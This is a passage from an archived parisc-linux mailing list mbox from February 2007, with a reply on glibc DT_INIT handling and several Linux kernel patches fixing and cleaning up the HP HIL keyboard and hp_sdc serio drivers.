Message-ID: <200702172043.l1HKh71P024335__35471.6398324401$1416624293$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702171237p32753949i7ade700ee405cead@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624293 22792 80.91.229.3 (22 Nov 2014 02:44:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 20:43:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 17 Feb 2007 21:43:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32AD47DA72;
	Sat, 17 Feb 2007 13:43:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20985-08; Sat, 17 Feb 2007 13:43:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D13A37DA6E;
	Sat, 17 Feb 2007 13:43:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C9967DA6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:43:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20895-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:43:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 58F027DA65
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:43:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1HKh8Im024336;
	Sat, 17 Feb 2007 15:43:08 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1HKh71P024335;
	Sat, 17 Feb 2007 15:43:07 -0500 (EST)
In-Reply-To: <119aab440702171237p32753949i7ade700ee405cead@mail.gmail.com>
	from "Carlos O'Donell" at Feb 17, 2007 03:37:36 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 01rgcg8SbGI0/6aDYmRnb01ncmZ1Zly7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24339

> > While it's possible that DT_INIT and DT_FINI shouldn't point at function
> > descriptors, the above hack can't be right since DL_DT_INIT_ADDRESS is used
> > for calling init() from dl-init.c:
> >
> >       init_t init = (init_t) DL_DT_INIT_ADDRESS
> >         (l, l->l_addr + l->l_info[DT_INIT]->d_un.d_ptr);
> >
> >       /* Call the function.  */
> >       init (argc, argv, env);
> 
> We might have been lucky in that init () called another function which
> setup r19 for us before we accessed data. I agree completely that r19
> should be set to the r19 of the module before calling init(), even if
> it *is* or *isn't* a function descriptor.
> 
> I wrote dl-lookupcfg.h, and the code you see there is legacy. I
> carried it forward without understanding what it meant.

It may be that special care is needed for applications that are
statically linked.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PARISC] fix uninitialized spinlock in HIL keyboard driver
Date: Sat, 17 Feb 2007 15:55:23 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <11717457253477-git-send-email-kyle__3678.15955910391$1416624293$gmane$org@parisc-linux.org>
References: <11717457251848-git-send-email-kyle@parisc-linux.org> <11717457251606-git-send-email-kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624293 22795 80.91.229.3 (22 Nov 2014 02:44:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 akpm@osdl.org,
 Helge Deller <deller@gmx.de>,
 Kyle McMartin <kyle@parisc-linux.org>
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 20:55:46 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx083) with SMTP; 17 Feb 2007 21:55:46 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0F46F5840B9;
	Sat, 17 Feb 2007 15:55:44 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1D13A5840B4;
	Sat, 17 Feb 2007 15:55:43 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 677CB837DC;
	Sat, 17 Feb 2007 15:55:42 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id A62A43B075; Sat, 17 Feb 2007 15:55:25 -0500 (EST)
X-Mailer: git-send-email 1.4.4.4
In-Reply-To: <11717457251606-git-send-email-kyle@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 61nkcQsiX1VpteuYY2FyyAh3SDc4NIyQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24340

From: Helge Deller <deller@gmx.de>

- remove some warnings for PARISC part of the driver
- annotate hphilkeyb_keycode[] array as __read_mostly

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 drivers/input/keyboard/hilkbd.c |    9 ++++++---
 1 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/drivers/input/keyboard/hilkbd.c b/drivers/input/keyboard/hilkbd.c
index c2264a6..585f0a7 100644
--- a/drivers/input/keyboard/hilkbd.c
+++ b/drivers/input/keyboard/hilkbd.c
@@ -3,7 +3,7 @@
  *
  *  Copyright (C) 1998 Philip Blundell <philb@gnu.org>
  *  Copyright (C) 1999 Matthew Wilcox <willy@bofh.ai>
- *  Copyright (C) 1999-2006 Helge Deller <deller@gmx.de>
+ *  Copyright (C) 1999-2007 Helge Deller <deller@gmx.de>
  *
  *  Very basic HP Human Interface Loop (HIL) driver.
  *  This driver handles the keyboard on HP300 (m68k) and on some
@@ -89,7 +89,7 @@ MODULE_LICENSE("GPL v2");
 #define	HIL_READKBDSADR	 	0xF9
 #define	HIL_WRITEKBDSADR 	0xE9
 
-static unsigned int hphilkeyb_keycode[HIL_KEYCODES_SET1_TBLSIZE] =
+static unsigned int hphilkeyb_keycode[HIL_KEYCODES_SET1_TBLSIZE] __read_mostly =
 	{ HIL_KEYCODES_SET1 };
 
 /* HIL structure */
@@ -211,6 +211,7 @@ hil_keyb_init(void)
 		return -ENODEV; /* already initialized */
 	}
 
+	spin_lock_init(&hil_dev.lock);
 	hil_dev.dev = input_allocate_device();
 	if (!hil_dev.dev)
 		return -ENOMEM;
@@ -295,7 +296,9 @@ err3:
 	free_irq(HIL_IRQ, hil_dev.dev_id);
 err2:
 	release_region(HILBASE + HIL_DATA, 2);
+#if defined(CONFIG_HP300)
 err1:
+#endif
 	input_free_device(hil_dev.dev);
 	hil_dev.dev = NULL;
 	return err;
@@ -307,7 +310,7 @@ static int __init
 hil_init_chip(struct parisc_device *dev)
 {
 	if (!dev->irq) {
-		printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%08lx\n", dev->hpa.start);
+		printk(KERN_WARNING "HIL: IRQ not found for HIL bus at 0x%08lux\n", (unsigned long)dev->hpa.start);
 		return -ENODEV;
 	}
 
-- 
1.4.4.4



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PARISC] input: various cleanups
Date: Sat, 17 Feb 2007 15:55:25 -0500
Lines: 185
Approved: news@gmane.org
Message-ID: <11717457253323-git-send-email-kyle__36366.7530510158$1416624294$gmane$org@parisc-linux.org>
References: <11717457251848-git-send-email-kyle@parisc-linux.org> <11717457251606-git-send-email-kyle@parisc-linux.org> <11717457253477-git-send-email-kyle@parisc-linux.org> <11717457252335-git-send-email-kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624294 22799 80.91.229.3 (22 Nov 2014 02:44:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 akpm@osdl.org,
 Helge Deller <deller@gmx.de>,
 Kyle McMartin <kyle@parisc-linux.org>
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 20:55:46 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx101) with SMTP; 17 Feb 2007 21:55:46 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0F2235840B4;
	Sat, 17 Feb 2007 15:55:45 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4999F5840B6;
	Sat, 17 Feb 2007 15:55:43 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id A5FCC837DE;
	Sat, 17 Feb 2007 15:55:42 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 1844E3B06F; Sat, 17 Feb 2007 15:55:25 -0500 (EST)
X-Mailer: git-send-email 1.4.4.4
In-Reply-To: <11717457252335-git-send-email-kyle@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vQa1ESVLbXBt87qHPTQ2OQkqLyUmZcjl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24341

From: Helge Deller <deller@gmx.de>

- mark some structures and data as const or __read_mostly; use USEC_PER_SEC

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 drivers/input/keyboard/hil_kbd.c |    8 ++++----
 drivers/input/serio/hil_mlc.c    |   19 +++++++++----------
 drivers/input/serio/hp_sdc.c     |   10 +++++-----
 drivers/input/serio/hp_sdc_mlc.c |    3 ++-
 4 files changed, 20 insertions(+), 20 deletions(-)

diff --git a/drivers/input/keyboard/hil_kbd.c b/drivers/input/keyboard/hil_kbd.c
index 7cc9728..7143f37 100644
--- a/drivers/input/keyboard/hil_kbd.c
+++ b/drivers/input/keyboard/hil_kbd.c
@@ -51,7 +51,7 @@ MODULE_LICENSE("Dual BSD/GPL");
 
 #define HIL_KBD_SET1_UPBIT 0x01
 #define HIL_KBD_SET1_SHIFT 1
-static unsigned int hil_kbd_set1[HIL_KEYCODES_SET1_TBLSIZE] = 
+static unsigned int hil_kbd_set1[HIL_KEYCODES_SET1_TBLSIZE] __read_mostly =
 	{ HIL_KEYCODES_SET1 };
 
 #define HIL_KBD_SET2_UPBIT 0x01
@@ -60,10 +60,10 @@ static unsigned int hil_kbd_set1[HIL_KEYCODES_SET1_TBLSIZE] =
 
 #define HIL_KBD_SET3_UPBIT 0x80
 #define HIL_KBD_SET3_SHIFT 0
-static unsigned int hil_kbd_set3[HIL_KEYCODES_SET3_TBLSIZE] =
+static unsigned int hil_kbd_set3[HIL_KEYCODES_SET3_TBLSIZE] __read_mostly =
 	{ HIL_KEYCODES_SET3 };
 
-static char hil_language[][16] = { HIL_LOCALE_MAP };
+static const char hil_language[][16] = { HIL_LOCALE_MAP };
 
 struct hil_kbd {
 	struct input_dev *dev;
@@ -368,7 +368,7 @@ static struct serio_device_id hil_kbd_ids[] = {
 	{ 0 }
 };
 
-struct serio_driver hil_kbd_serio_drv = {
+static struct serio_driver hil_kbd_serio_drv = {
 	.driver		= {
 		.name	= "hil_kbd",
 	},
diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index 49e11e2..80f0e23 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -409,7 +409,7 @@ static int hilse_operate(hil_mlc *mlc, int repoll) {
 #define OUT_LAST(pack) \
 { HILSE_OUT_LAST,	{ .packet = pack }, 0, 0, 0, 0 },
 
-struct hilse_node hil_mlc_se[HILSEN_END] = {
+const struct hilse_node hil_mlc_se[HILSEN_END] = {
 
 	/* 0  HILSEN_START */
 	FUNC(hilse_init_lcv, 0,	HILSEN_NEXT,	HILSEN_SLEEP,	0)
@@ -531,7 +531,7 @@ struct hilse_node hil_mlc_se[HILSEN_END] = {
 	/* 60 HILSEN_END */
 };
 
-static inline void hilse_setup_input(hil_mlc *mlc, struct hilse_node *node) {
+static inline void hilse_setup_input(hil_mlc *mlc, const struct hilse_node *node) {
 
 	switch (node->act) {
 	case HILSE_EXPECT_DISC:
@@ -564,21 +564,19 @@ static inline void hilse_setup_input(hil_mlc *mlc, struct hilse_node *node) {
 #ifdef HIL_MLC_DEBUG
 static int doze = 0;
 static int seidx; /* For debug */
-static int kick = 1;
 #endif
 
 static int hilse_donode (hil_mlc *mlc) {
-	struct hilse_node *node;
+	const struct hilse_node *node;
 	int nextidx = 0;
 	int sched_long = 0;
 	unsigned long flags;
 
 #ifdef HIL_MLC_DEBUG
 	if (mlc->seidx && (mlc->seidx != seidx)  && mlc->seidx != 41 && mlc->seidx != 42 && mlc->seidx != 43) {
-	  printk(KERN_DEBUG PREFIX "z%i \n%s {%i}", doze, kick ? "K" : "", mlc->seidx);
+	  printk(KERN_DEBUG PREFIX "z%i \n {%i}", doze, mlc->seidx);
 		doze = 0;
 	}
-	kick = 0;
 
 	seidx = mlc->seidx;
 #endif
@@ -589,7 +587,6 @@ static int hilse_donode (hil_mlc *mlc) {
 		hil_packet pack;
 
 	case HILSE_FUNC:
-		if (node->object.func == NULL) break;
 		rc = node->object.func(mlc, node->arg);
 		nextidx = (rc > 0) ? node->ugly : 
 			((rc < 0) ? node->bad : node->good);
@@ -675,10 +672,10 @@ static int hilse_donode (hil_mlc *mlc) {
 		if (!sched_long) goto sched;
 
 		do_gettimeofday(&tv);
-		tv.tv_usec += 1000000 * (tv.tv_sec - mlc->instart.tv_sec);
+		tv.tv_usec += USEC_PER_SEC * (tv.tv_sec - mlc->instart.tv_sec);
 		tv.tv_usec -= mlc->instart.tv_usec;
 		if (tv.tv_usec >= mlc->intimeout) goto sched;
-		tv.tv_usec = (mlc->intimeout - tv.tv_usec) * HZ / 1000000;
+		tv.tv_usec = (mlc->intimeout - tv.tv_usec) * HZ / USEC_PER_SEC;
 		if (!tv.tv_usec) goto sched;
 		mod_timer(&hil_mlcs_kicker, jiffies + tv.tv_usec);
 		break;
@@ -838,7 +835,7 @@ static void hil_mlc_serio_close(struct serio *serio) {
 	/* TODO wake up interruptable */
 }
 
-static struct serio_device_id hil_mlc_serio_id = {
+static const struct serio_device_id hil_mlc_serio_id = {
 	.type = SERIO_HIL_MLC,
 	.proto = SERIO_HIL,
 	.extra = SERIO_ANY,
@@ -874,6 +871,8 @@ int hil_mlc_register(hil_mlc *mlc) {
 		hil_mlc_copy_di_scratch(mlc, i);
 		mlc_serio = kzalloc(sizeof(*mlc_serio), GFP_KERNEL);
 		mlc->serio[i] = mlc_serio;
+		snprintf(mlc_serio->name, sizeof(mlc_serio->name)-1, "HIL_SERIO%d", i);
+		snprintf(mlc_serio->phys, sizeof(mlc_serio->phys)-1, "HIL%d", i);
 		mlc_serio->id			= hil_mlc_serio_id;
 		mlc_serio->write		= hil_mlc_serio_write;
 		mlc_serio->open			= hil_mlc_serio_open;
diff --git a/drivers/input/serio/hp_sdc.c b/drivers/input/serio/hp_sdc.c
index 211ff44..ae6b816 100644
--- a/drivers/input/serio/hp_sdc.c
+++ b/drivers/input/serio/hp_sdc.c
@@ -749,7 +749,7 @@ void hp_sdc_kicker (unsigned long data) {
 
 #if defined(__hppa__)
 
-static struct parisc_device_id hp_sdc_tbl[] = {
+static const struct parisc_device_id hp_sdc_tbl[] = {
 	{
 		.hw_type =	HPHW_FIO, 
 		.hversion_rev =	HVERSION_REV_ANY_ID,
@@ -818,12 +818,12 @@ static int __init hp_sdc_init(void)
 #endif	
 
 	errstr = "IRQ not available for";
-	if (request_irq(hp_sdc.irq, &hp_sdc_isr, 0, "HP SDC", &hp_sdc))
-		goto err1;
+	if (request_irq(hp_sdc.irq, &hp_sdc_isr, IRQF_SHARED|IRQF_SAMPLE_RANDOM,
+		"HP SDC", &hp_sdc)) goto err1;
 
 	errstr = "NMI not available for";
-	if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, 0, "HP SDC NMI", &hp_sdc))
-		goto err2;
+	if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, IRQF_SHARED,
+		"HP SDC NMI", &hp_sdc)) goto err2;
 
 	printk(KERN_INFO PREFIX "HP SDC at 0x%p, IRQ %d (NMI IRQ %d)\n", 
 	       (void *)hp_sdc.base_io, hp_sdc.irq, hp_sdc.nmi);
diff --git a/drivers/input/serio/hp_sdc_mlc.c b/drivers/input/serio/hp_sdc_mlc.c
index aa4a8a4..1f131ff 100644
--- a/drivers/input/serio/hp_sdc_mlc.c
+++ b/drivers/input/serio/hp_sdc_mlc.c
@@ -323,11 +323,12 @@ static int __init hp_sdc_mlc_init(void)
 	mlc->in			= &hp_sdc_mlc_in;
 	mlc->out		= &hp_sdc_mlc_out;
 
+	mlc->priv		= &hp_sdc_mlc_priv;
+
 	if (hil_mlc_register(mlc)) {
 		printk(KERN_WARNING PREFIX "Failed to register MLC structure with hil_mlc\n");
 		goto err0;
 	}
-	mlc->priv		= &hp_sdc_mlc_priv;
 
 	if (hp_sdc_request_hil_irq(&hp_sdc_mlc_isr)) {
 		printk(KERN_WARNING PREFIX "Request for raw HIL ISR hook denied\n");
-- 
1.4.4.4



From - Thu Nov 08 21:35:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PARISC] hp_sdc: fix request_irq()/free_irq() parameters
Date: Sat, 17 Feb 2007 15:55:24 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <11717457252335-git-send-email-kyle__40985.6824241162$1416624294$gmane$org@parisc-linux.org>
References: <11717457251848-git-send-email-kyle@parisc-linux.org> <11717457251606-git-send-email-kyle@parisc-linux.org> <11717457253477-git-send-email-kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624294 22801 80.91.229.3 (22 Nov 2014 02:44:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 akpm@osdl.org,
 Helge Deller <deller@gmx.de>,
 Kyle McMartin <kyle@parisc-linux.org>
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 20:55:47 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx008) with SMTP; 17 Feb 2007 21:55:47 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 49A045840B7;
	Sat, 17 Feb 2007 15:55:46 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 655EC5840B8;
	Sat, 17 Feb 2007 15:55:43 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id B0BAC837DF;
	Sat, 17 Feb 2007 15:55:42 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id CC8AD3B074; Sat, 17 Feb 2007 15:55:25 -0500 (EST)
X-Mailer: git-send-email 1.4.4.4
In-Reply-To: <11717457253477-git-send-email-kyle@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mx62IQoKa0Ao4b6aejEzMQs3Njh6dI6M
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24342

From: Helge Deller <deller@gmx.de>

With this fix it's possible to load and unload the hp_sdc module multiple times.
Before the first loading of the module requested the irq lines, but never was able to free them again.
This, a second loading of the module failed, because the irq was still occupied.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 drivers/input/serio/hp_sdc.c |   14 +++++++-------
 1 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/drivers/input/serio/hp_sdc.c b/drivers/input/serio/hp_sdc.c
index 9907ad3..211ff44 100644
--- a/drivers/input/serio/hp_sdc.c
+++ b/drivers/input/serio/hp_sdc.c
@@ -818,12 +818,12 @@ static int __init hp_sdc_init(void)
 #endif	
 
 	errstr = "IRQ not available for";
-        if(request_irq(hp_sdc.irq, &hp_sdc_isr, 0, "HP SDC",
-		       (void *) hp_sdc.base_io)) goto err1;
+	if (request_irq(hp_sdc.irq, &hp_sdc_isr, 0, "HP SDC", &hp_sdc))
+		goto err1;
 
 	errstr = "NMI not available for";
-	if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, 0, "HP SDC NMI", 
-			(void *) hp_sdc.base_io)) goto err2;
+	if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, 0, "HP SDC NMI", &hp_sdc))
+		goto err2;
 
 	printk(KERN_INFO PREFIX "HP SDC at 0x%p, IRQ %d (NMI IRQ %d)\n", 
 	       (void *)hp_sdc.base_io, hp_sdc.irq, hp_sdc.nmi);
@@ -855,7 +855,7 @@ static int __init hp_sdc_init(void)
 	hp_sdc.dev_err = 0;
 	return 0;
  err2:
-	free_irq(hp_sdc.irq, NULL);
+	free_irq(hp_sdc.irq, &hp_sdc);
  err1:
 	release_region(hp_sdc.data_io, 2);
  err0:
@@ -899,8 +899,8 @@ static void hp_sdc_exit(void)
 	/* Wait until we know this has been processed by the i8042 */
 	hp_sdc_spin_ibf();
 
-	free_irq(hp_sdc.nmi, NULL);
-	free_irq(hp_sdc.irq, NULL);
+	free_irq(hp_sdc.nmi, &hp_sdc);
+	free_irq(hp_sdc.irq, &hp_sdc);
 	write_unlock_irq(&hp_sdc.lock);
 
 	del_timer(&hp_sdc.kicker);
-- 
1.4.4.4



From - Thu Nov 08 21:35:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PARISC] add error-checking in hil_keyb_init
Date: Sat, 17 Feb 2007 15:55:22 -0500
Lines: 275
Approved: news@gmane.org
Message-ID: <11717457251606-git-send-email-kyle__16837.1428073899$1416624294$gmane$org@parisc-linux.org>
References: <11717457251848-git-send-email-kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624294 22804 80.91.229.3 (22 Nov 2014 02:44:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 akpm@osdl.org,
 Helge Deller <deller@gmx.de>,
 Kyle McMartin <kyle@parisc-linux.org>
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 20:55:48 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx024) with SMTP; 17 Feb 2007 21:55:48 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E3AEE5840B8;
	Sat, 17 Feb 2007 15:55:46 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
